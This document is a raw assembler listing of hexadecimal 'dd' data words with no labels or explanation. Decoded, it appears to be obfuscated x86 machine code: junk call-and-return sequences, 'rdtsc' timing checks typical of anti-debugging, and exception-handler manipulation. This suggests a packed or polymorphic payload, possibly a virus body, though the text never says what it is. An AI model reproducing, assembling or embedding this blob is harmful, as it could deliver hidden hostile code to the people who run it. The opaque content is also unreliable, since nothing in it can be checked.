		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BFC35646h, 60862A2Ch
		dd 3F4F01AFh, 4689DE8Bh, 0DA8B6604h, 0D98B6696h, 96DF8B50h
		dd 38D0F60h, 0F000000h,	8D09C6BFh, 5E8204Dh, 0E9B5FF61h
		dd 8905EBB3h, 0E80FAD9Dh, 27F46805h, 0BF660226h, 34815715h
		dd 39240B24h, 68D0F02h,	31000000h, 0E8303D85h, 0F1858D05h
		dd 6005EBB3h, 2575958Bh, 9D2905E8h, 5E82569h, 52509061h
		dd 2E24BB66h, 870F310Fh, 2, 585A5B51h, 0F88A6050h, 0D8E1FCB8h
		dd 0B906132h, 0E824C19Dh, 1995FF05h, 8905E815h,	0E804E59Dh
		dd 0DB816605h, 81610C99h, 0EF05D8EBh, 85C7F914h, 5E80A61h
		dd 3, 8BC4EB80h, 0E812EDBDh, 0F1BD8305h, 5EBB3h, 0D840Fh
		dd 23E90000h, 8B000000h, 0CDDF81DAh, 503EC7D6h,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0D986D5C3h, 0B5014CFCh, 5E80BDDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 74C35141h, 7024A8E9h, 73DBD8Bh
		dd 860F05E8h, 0
		dd 0A61BD83h, 0F0305E8h, 4BF85h, 159D2900h, 8305E815h
		dd 0EBB3F1BDh, 840F0005h, 4ACh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0FAC35747h,	8C5A9722h, 49B85E92h
		dd 13E9h, 0C2081500h, 80BA764Fh, 4DCD444Fh, 0BD91B50Bh
		dd 674C1612h, 2E79BD8Bh, 0B5FF05E8h, 5EBB3F1h, 4DBD8B60h
		dd 8B05E820h, 95FF61FBh, 5E81C09h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 14C35545h, 1B6608E9h, 0BD8B512Eh
		dd 5E827D9h, 1F259D89h,	0B58B05E8h, 5EBB3E5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D7C35646h, 0C4AD99E0h
		dd 6EE27565h, 8D8D31D2h, 2905E807h, 0E829918Dh,	106C705h
		dd 6A000100h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0B8DFC350h, 589F8B50h,	0C4BB666Dh
		dd 5BF957CCh, 0F88B6696h, 96D98B50h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 73C35646h, 0FFC55391h, 0EBB3F1B5h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 3D8496ACh, 0E9D5A695h, 11h, 86F72B8Bh, 0C8D1DFEBh
		dd 50369DA8h, 89B17D99h, 0BD95FF46h, 6A05E808h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0D71AC350h, 782B3EEBh, 0C7421E35h, 0FC18A60h, 68Ch
		dd 0DBD8900h, 6105E832h, 0B3E5B58Bh, 6A05EBh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3FB7A9C3h
		dd 0E3230C8Bh, 0F98BE177h, 14B9858Bh, 0BE805E8h, 0DB000000h
		dd 0DF7A34A4h, 70F26DD6h, 0BF0F3BD1h, 0CE95FF8h, 9F000000h
		dd 14D235D4h, 0B1CE6615h, 899E40B4h, 0C486h, 0E3816600h
		dd 958B4A85h, 5E8159Dh,	3104C283h, 0E8100585h, 20508905h
		dd 332DBD8Bh, 858D05E8h, 5EBC65Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0A6C35646h,	600E5CD9h, 0E03D77BFh
		dd 86896146h, 0B8h, 68C0Fh, 85310000h, 5E82B45h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0BE1975C3h, 0D00E5D98h, 0B58911F0h, 5E82F45h, 0B3F1B5FFh
		dd 6A05EBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 9D8BFBC3h, 5E822CDh, 2C2D95FFh, 6A05E8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 1AA20C3h, 6146023Ch,	52506096h, 5C63B866h, 5250310Fh
		dd 585A310Fh, 7E9585Ah,	0A000000h, 2B5B7A78h, 506167A7h
		dd 13E95250h, 0CE000000h, 35C1DB09h, 0E8D59C3Dh, 0F464878h
		dd 0E94C4012h, 310F4730h, 468FBFBFh, 96585A55h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 65C35646h, 40884A9Ah
		dd 66641522h, 0ADFDD781h, 0B3F1B5FFh, 6A05EBh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 53EA9DC3h, 0DF6F6694h, 0C195FFFCh, 6605E802h, 0BD83DE8Bh
		dd 5E8025Dh, 4B840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 5B6C353h
		dd 0A06C15FAh, 2DABB33Ch, 79BD2B53h, 5F05E82Eh,	2D91BD89h
		dd 8B5005E8h, 243489DFh, 0C8F0Fh, 840F0000h, 6,	8B0Fh
		dd 0B5FF0000h, 5EBB3F1h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 8AC35747h, 95FF1F1Dh,	5E80759h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 75C35646h, 0F1B5FF28h
		dd 8105EBB3h, 221A8CE3h, 2595FF35h, 6A05E807h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0A49AC351h, 88E0Fh, 33570000h, 0E80EC1BDh, 0BD835B05h
		dd 5E829A9h, 37840F02h,	66000000h, 8B59E7BFh, 0E8133D85h
		dd 3D9D8B05h, 0C605E811h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0E77E67C3h, 0C2A84729h
		dd 85C793AFh, 5E812C1h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 54C35545h
		dd 217213Bh, 0FB8B665Fh, 0FFF3FEE9h, 0F78166FFh, 840F5B27h
		dd 3, 8BFFBF0Fh, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 978E7C94h, 10E80D96h
		dd 1C000000h, 1C3B41A8h, 257AFA48h, 0B26FA382h,	667595E2h
		dd 5F743ABFh, 1549BD03h, 858D05E8h, 5E81C1Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9C35747h, 4F8EC480h
		dd 0E8C4D0E2h, 14h, 75FC30B8h, 8BC46BF3h, 7DDFA753h, 7CA2A827h
		dd 675EBB1Ch, 0B3F0B060h, 505B61BAh, 28F0Fh, 0DC8A0000h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0E002C355h, 922BC81Ah,	6A6E2713h
		dd 79B58900h, 6A05E802h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 17A6E7B5h, 9D8B7231h
		dd 5E824CDh, 1A39858Dh,	6A05EDh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FE707C3h, 0BB66D8B7h
		dd 0C08392D0h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 0BB66903Eh, 0E950E755h
		dd 9, 0B09F331Eh, 1BE602Fh, 852990C8h, 5E829ADh, 800F006Ah
		dd 0Ch,	6880Fh,	840F0000h, 0
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 10C54AC3h, 51FEEB17h, 60FAA8AFh, 0C7D881F5h
		dd 614FD33Bh, 203D95FFh, 6A05E8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 6B2CAEC3h, 8D8DF8AFh
		dd 5EBA4DBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0CCC35747h, 54ABACB5h, 0CE82FE7h, 79000000h, 0A6275BB6h
		dd 0E3F8E7D7h, 8BCD6BBAh, 0E8117D9Dh, 0D1FF5F05h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B4C35242h, 0F4615F19h
		dd 0ED60E2Bh, 7E58589h,	0BD8305E8h, 5E810B9h, 87850F01h
		dd 0E9000000h, 7, 2AB6D626h, 6A9A9108h,	53006A02h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0C2CF50DCh, 1EDB709Ch, 10B59D89h, 0BF6605E8h, 0E850B9D5h
		dd 5, 0BFDF9942h, 0C14FBF71h, 895F1F8Eh, 6A2404h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 7FC1C5C3h, 0FD977B4Ah, 0E99874E1h, 6, 0C9A193DEh, 95FF634Eh
		dd 5E82C2Dh, 37E95B50h,	0E800000Eh, 0
		dd 43ED815Dh, 0BB05ED1Ah, 5C845CBCh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0BDC35141h,	1B5F73B7h, 0A7FA7FB1h
		dd 226DBD8Bh, 0FFC05E8h, 68Eh, 119D0B00h, 8D05E807h, 0EB8F5885h
		dd 0E9B53105h, 0F805E831h, 89905090h, 0E819ED8Dh, 35FF6405h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 59C35141h
		dd 3945E71Ah, 0B8AB2033h, 9F71DBBh, 6820F20h, 8B000000h
		dd 0E8290DBDh, 25896405h, 0
		dd 0A3D8501h, 85FF05E8h, 5E82545h, 0D559D8Bh, 0FF6A05E8h
		dd 68E0Fh, 9D890000h, 5E81555h,	18860Fh, 8E0F0000h, 12h
		dd 0CE8h, 0BC11F400h, 6864C8FDh, 0B20230FEh, 0B5FF5B77h
		dd 5E83075h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	89C35141h, 3E16043Bh, 0C2CDA3A8h, 2FAD95FFh, 72E905E8h
		dd 60000001h, 2D219D89h, 0C18005E8h, 8B0F6199h,	16h, 0AE8h
		dd 0E3BFC100h, 0B56DAB73h, 8BBF54C3h, 0E819F5BDh, 0B05F05h
		dd 8A0F70E6h, 2, 71E4F98Bh, 0CE8h, 0D4CC4B00h, 9805FCE0h
		dd 2703DCCAh, 0EF81669Eh, 3C5B681Ah, 1E830F61h,	50000001h
		dd 0C8B60F5Fh, 0BAD9BF0Fh, 6, 0DD2DBB66h, 9E8h,	0BC91F200h
		dd 4607B67Dh, 2960BFDCh, 0E80F19BDh, 0D58D3305h, 6105E806h
		dd 2BC18B5Fh, 0E82F71BDh, 4E8C105h, 19598589h, 0F76605E8h
		dd 3850FE2h, 80000000h,	0C82BF6D3h, 0A1D8509h, 8BF805E8h
		dd 0B870FD1h, 0E9000000h, 6, 5E3289A5h,	0B2E9E258h, 60000000h
		dd 0AE9h, 0A9AD9C00h, 3F44B17Eh, 0BF445DFEh, 7AD43EFEh
		dd 4C858B61h, 0E8494755h, 10h, 20220DFDh, 0F78B580h, 4D8AB014h
		dd 95988612h, 0B1BD8B5Fh, 8305E829h, 0E95307C0h, 9, 5FEB0615h
		dd 79B4B803h, 9D2B5FC5h, 5E809A9h, 3B00C083h, 11830FD0h
		dd 89000000h, 0E813458Dh, 4BE905h, 9D8B0000h, 5E80D21h
		dd 0FFFF8D8Bh, 7E9FFFFh, 10000000h, 4A351AAh, 0E1835DBEh
		dd 2A840F01h, 0F000000h, 68Bh, 2FCB8100h, 8351F8B4h, 0FFFFFFA5h
		dd 0BD8BFEFFh, 5E80F25h, 554C9589h, 0BD094947h,	5E81A65h
		dd 0E9h, 6AB58D00h, 6605EC9Ah, 8166FA8Bh, 6ADF65D3h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 44D4D012h, 20F995FFh, 6A05E8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 855072C3h, 0B9F5C1C5h
		dd 0FB5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	2EC35141h, 8B64F9E2h, 850F48B3h, 15h, 10E9h, 0B1277C00h
		dd 852A6553h, 28637CD7h, 151CD69Ch, 0FCE183BEh,	0C99D23FCh
		dd 0B805E80Dh, 0
		dd 0DE960h, 80FE0000h, 0A40182E3h, 0CB96FDAAh, 801EF392h
		dd 2B6196CFh, 0C233ADD2h, 0D003E8D1h, 7504E983h, 0BE9F4h
		dd 0A32C0000h, 59E76E71h, 6C64FC31h, 0E1B589C1h, 0D05E814h
		dd 88h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h
		dd 7AC35141h, 0E8B3515Ah, 9, 0BA5400A2h, 83E112D6h, 6D9D8BCBh
		dd 5B05E812h, 8A0Fh, 958B0000h,	5E8159Dh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0C0C35646h, 698DE341h
		dd 8BC2D865h, 0E807058Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 5B6EFD72h
		dd 8B501DBFh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0EDC35242h
		dd 53006A3Eh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0BA6A1327h, 0BD83FC8Ch, 5E82E71h, 61840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 6791C355h, 0BD897055h,	5E80FEDh
		dd 0B8h, 8DF98B00h, 0E84D6A8Dh,	2BB6605h, 3DC780D4h, 6AE1FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0F4D604C3h, 0BFDEE026h, 27708FAh, 0A61BD83h,	0F0005E8h
		dd 4A184h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0B2605376h, 0D775489Dh, 0DFBF0FECh
		dd 0A61BD83h, 0F0105E8h, 48884h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0AA3D23E6h
		dd 8BF3D89Ch, 0E816959Dh, 61BD8305h, 305E80Ah, 41D860Fh
		dd 56600000h, 8E0Fh, 895A0000h,	0E821ED95h, 6A606105h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0B094C352h, 81603E0Ah, 53FEFCE7h,	8C666130h
		dd 56006AD9h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0E920C1ECh, 4E1808Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0A5C35343h,	4926FFB6h, 9D091744h
		dd 5E80BDDh, 840FC90Ah,	14Bh, 1359BD89h, 858B05E8h, 5E802B1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0D3C35141h
		dd 735D3FAh, 0DFB70FDFh, 1BCD8533h, 6A05E8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 902C14C3h
		dd 6FC9BF66h, 0B5899050h, 5E81AC1h, 11E9006Ah, 0D3000000h
		dd 8CCAE837h, 0D94EDFE2h, 5DF728B4h, 0FF290F43h, 4E8h
		dd 1F03FF00h, 0EE86000h, 2000000h, 62449EC1h, 1DA7F198h
		dd 0D61C29DAh, 52505E9Ch, 310F6160h, 585A29B3h,	0BB665061h
		dd 448B5715h, 8B0424h, 4244489h, 344935BFh, 6A5819h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0EB2BFFC3h, 50FBEB02h, 6A3DCB81h, 8B5F3A6Dh,	1995FFF9h
		dd 6A05E815h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0AD10C350h, 8D9DB81h, 0BD0B44BAh
		dd 5E82C75h, 0B3F18589h, 6A05EBh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 2A2DE1C3h, 11B67F1Dh
		dd 9D8BDC0Eh, 5E82DADh,	1D2E9h,	99BD2B00h, 8B05E829h, 0EBB3E985h
		dd 0D98B6605h, 2DC9BD8Bh, 0C705E8h, 18h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 46C35646h, 0FDABA39Eh
		dd 899D8B2Dh, 8B05E827h, 0EBB3EDB5h, 2D9D8B05h,	8B05E820h
		dd 0E8334185h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0EC9E1995h, 89EC472Dh
		dd 0E82FC59Dh, 6A068905h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6803C353h, 0D32DC097h
		dd 8F775196h, 12E9h, 73780900h,	0CFF3992Eh, 8C3492Fh, 0B654AC30h
		dd 8B6DFC88h, 0E802B185h, 0EE805h, 11A60000h, 0B022FD5Eh
		dd 0CDE4C1C8h, 0D3C6576Dh, 95950360h, 6105E807h, 2830F5Fh
		dd 8B000000h, 44689D9h,	2D7DBD89h, 509605E8h, 50BF6653h
		dd 2B965B74h, 0E82451BDh, 0E9B5FF05h, 6A05EBB3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 749AC350h, 0AE20E381h, 4E83866h, 0FF000000h,	0E8001F03h
		dd 0Bh,	77CCBC4Ah, 6B5951A0h, 8B05909Ah, 8B505BFEh, 24448BFAh
		dd 0BF665204h, 8B5B0ED0h, 0BE96000h, 53000000h,	0BF575C50h
		dd 567A9539h, 13E9E103h, 0A4000000h, 0EEC307A9h, 6FB9D37h
		dd 9C8B2FE1h, 0BD018DEBh, 89614B82h, 8A042444h,	9D2358FCh
		dd 5E82F45h, 0B3F1858Dh, 0F9005EBh, 58Dh, 0D16DBB00h, 0BF50540Fh
		dd 546EAA9Ch, 95FFF590h, 5E81519h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 46C35242h, 1AA9E1B8h, 0CB4DD57h
		dd 558D291Ah, 6105E830h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0EFC35747h, 0CA262E56h, 810F599Ah, 3
		dd 0FD9B70Fh, 85C7FBBFh, 5E80A61h, 3, 3C04D381h, 0BD830CEEh
		dd 5EBB3F1h, 2C840F00h,	66000000h, 0F45BD781h, 3DE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 4D9D8BEAh, 5005E824h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 2F24B5C3h, 0F8BF9014h
		dd 31459D8Bh, 6AFC05E8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 878DC357h, 0FB143895h
		dd 0FB8B2F3Fh, 83D98B66h, 0E80A61BDh, 850F0305h, 41Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 10C35545h
		dd 66B960A1h, 0F5E025Bh, 584h, 0DB816600h, 83616541h, 0EBB3F1BDh
		dd 840F0005h, 3E3h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 69C35141h, 0B5FF2FD4h, 5EBB3F1h, 1C0995FFh
		dd 830F05E8h, 0Fh, 0AE9h, 33BBDF00h, 6B6FB2AAh,	8B567320h
		dd 0EBB3E5B5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0D8540E19h, 10E9h, 7296B200h
		dd 8F4FD11Ch, 0D3E1C2B2h, 0F381C9EAh, 106C737h,	0F000100h
		dd 0E950FFB7h, 7, 0B7E0957Fh, 899EF83Ch, 0FA8B2434h, 0B3F1B5FFh
		dd 6A05EBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 938873C3h, 1EE99D03h, 9D2905E8h, 5E81BADh
		dd 8BD95FFh, 0B58905E8h, 5E81A19h, 0B3E5B58Bh, 6A05EBh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 1869D6C3h, 8BF7E7ECh
		dd 0E814B985h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 4DCBD7FAh, 203DB149h
		dd 10A98529h, 868905E8h, 0C4h, 8E8h, 2D1C8E00h,	0D9EC8F7h
		dd 14E9C5h, 1DFE0000h, 44830CEBh, 2658D2B1h, 8DD4974Ch
		dd 74D38B44h, 8B5B51F2h, 0E8159D95h, 0B1B50105h, 8305E812h
		dd 958904C2h, 5E81F7Dh,	6A205089h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 309CC357h
		dd 0F502E430h, 13E8h, 4FFB0400h, 72EE8489h, 0EC72C644h
		dd 8765EE01h, 8D3591FDh, 0E799589h, 8D5B05E8h, 0EBC65D85h
		dd 0FD9D0305h, 8905E80Bh, 0B886h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 73D957A6h
		dd 0DB80D2B9h, 0FE950h,	3F8A0000h, 705A73E4h, 195DC509h
		dd 61B42056h, 6A006AC3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 9EC4C352h, 437879D1h
		dd 7FBB6638h, 0F1B5FFFDh, 8905EBB3h, 0E80D55BDh, 2D95FF05h
		dd 6A05E82Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 6E9DC357h, 8B00233Bh, 0E810399Dh
		dd 96D98B05h, 12890F50h, 0F000000h, 0C8Eh, 7E900h, 0E9080000h
		dd 0DA4B75E4h, 0B5FF9617h, 5EBB3F1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0F5C35040h,	6842D954h, 86C80F5Ch
		dd 9E9h, 0FCFE7C00h, 4243BA0Bh,	95FFC63Ah, 5E802C1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 91C35141h, 0BD83AD00h
		dd 5E8025Dh, 37840F00h,	50000000h, 0FB8B6657h, 2434895Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 32C35646h
		dd 0EC8B5FA3h, 880F4288h, 6, 1B759589h,	0B5FF05E8h, 5EBB3F1h
		dd 0C298589h, 816605E8h, 0FF211AC7h, 0E8075995h, 8D0F05h
		dd 89000000h, 0E8192DB5h, 0F1B5FF05h, 0E805EBB3h, 0Ah
		dd 0D5FE8710h, 478CA502h, 0B5895055h, 5E809C5h,	2595FF5Bh
		dd 8B05E807h, 0E82321BDh, 0A9BD8305h, 205E829h,	50840Fh
		dd 0F7800000h, 3D858B4Ch, 6A05E813h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 89DFC353h
		dd 0E81AF195h, 0C605h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0ACC35747h, 2591BD8Bh, 85C705E8h, 5E812C1h
		dd 0
		dd 1541BD8Bh, 14E905E8h, 0DC000000h, 7D3D5CD6h,	0FC786CCDh
		dd 184D88FDh, 0DB88AB50h, 0E95C0CF6h, 0FFFFF296h, 0C8E0Fh
		dd 66600000h, 89C353BFh, 0E81AC5BDh, 0C18B6105h, 2F81BD8Bh
		dd 8D8D05E8h, 5ED2964h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0F3C35040h, 33D2DADCh, 23C99589h, 8D8905E8h
		dd 5E8159Dh, 0C7F08B66h, 0E8070585h, 594C05h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 6F75D079h, 0CF59589h, 0FE805E8h, 0D6000000h,	0D232B532h
		dd 914BFA1Bh, 1C009AFBh, 9D89921Fh, 5E82EA9h, 6185C75Eh
		dd 5E80Ah, 0F000000h, 0B5FFD2BFh, 5E821D9h, 25A0EF81h
		dd 95FF7105h, 5E80815h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 68C35343h, 4D1A3CCh, 820F6044h, 22h
		dd 11E960h, 90F30000h, 0C100D504h, 0D51E7EECh, 5649D822h
		dd 0E935A8D0h, 5, 81E395A8h, 6A6145h, 20F995FFh, 0C08B05E8h
		dd 0ABAB3BEBh, 9A51E3E5h, 0D8C3991Eh, 0F2835240h, 5462EB6h
		dd 0BB3F27CAh, 9F2AD753h, 4B155321h, 0E05A83BAh, 5C6137C2h
		dd 8241D136h, 0CE6814A7h, 2814E7C3h, 4E091B57h,	38751BA3h
		dd 708D8DF4h, 8105ED2Ah, 0AF287FF6h, 9D8D8913h,	6A05E815h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0AEDC350h, 880FFDA9h, 4, 0BA8ABB66h, 70585C7h
		dd 5EB405E8h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 3DD979C3h, 0BD8BFB58h, 5E82011h
		dd 0A6185C7h, 5E8h, 5FBE0000h, 0FF25DCA0h, 0E830EDB5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 6C22E1A3h, 8B44EC07h, 0E8280D9Dh, 1595FF05h
		dd 0F05E808h, 118Ah, 0BE800h, 0BDD80000h, 0EEB39153h, 4E718327h
		dd 6A5FDBh, 20F995FFh, 0C08B05E8h, 749C4CEBh, 3421C615h
		dd 0A225DA21h, 68C943D7h, 65C12B2Dh, 0A93A67E0h, 0FA3FE0CDh
		dd 0A0DF3467h, 94390CE9h, 0DC938B84h, 656B77Ah,	0E11756D6h
		dd 0B072A28Eh, 0EF85B2F8h, 8131E475h, 1205DE8Bh, 7A59F0Eh
		dd 0F77213CFh, 2AFD9647h, 8D8D190Dh, 5ED2BF5h, 78C4BB57h
		dd 895B2A44h, 0E8159D8Dh, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 66F588F5h
		dd 0EEFBD381h, 70585C7h, 6B0405E8h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 14E9E5C3h
		dd 9C000000h, 0D8B0121Fh, 0B21B0AA7h, 3BA195F6h, 6DFECFBCh
		dd 8016C14Ah, 85C71ACEh, 5E80A61h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 30C35545h
		dd 1219D1BEh, 6D9D8B60h, 6105E82Eh, 8D1B5FFh, 6A05E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0A5BF73C3h, 2245D6E7h, 0BE040FE8h, 2057E750h, 81595FFh
		dd 6A05E8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 637899C3h, 60B4FE04h, 10E9h, 4D2CB800h, 0C244FE14h
		dd 0DE1D8333h, 3ABC9867h, 9B03BAB0h, 0E9611D79h, 0Bh, 7ABF02B7h
		dd 1C384D28h, 6A996497h, 0F995FF00h, 8B05E820h,	671BEBC0h
		dd 376E81CAh, 57AD2A1Dh, 808A0506h, 681A80FFh, 0B3890444h
		dd 0B5F7F046h, 6E80DE5h, 79000000h, 85388CE8h, 0DE83Dh
		dd 0A3F60000h, 0E0F73543h, 65554AF9h, 0E8EC063Ch, 0Eh
		dd 0F9EA2305h, 5BF2861Ch, 1635E023h, 0BD33FE8Dh, 5E82EC5h
		dd 0E85B5A5Fh, 0Eh, 59367427h, 95A8252h, 0D91F29EFh, 0B70FFD2Bh
		dd 0C3815AD2h, 6ED8h, 5AD38A51h, 858BC92Bh, 5E82D5Dh, 660B348Bh
		dd 0A959DF81h, 0AC4BF681h, 858B67E6h, 5E829B9h,	0AB91F681h
		dd 8E0F43B5h, 6, 2E1BD8Bh, 0C68105E8h, 0CADB7FBh, 0BD8956F5h
		dd 5E812CDh, 290B048Fh,	0E82F018Dh, 37C78105h, 8125221Ah
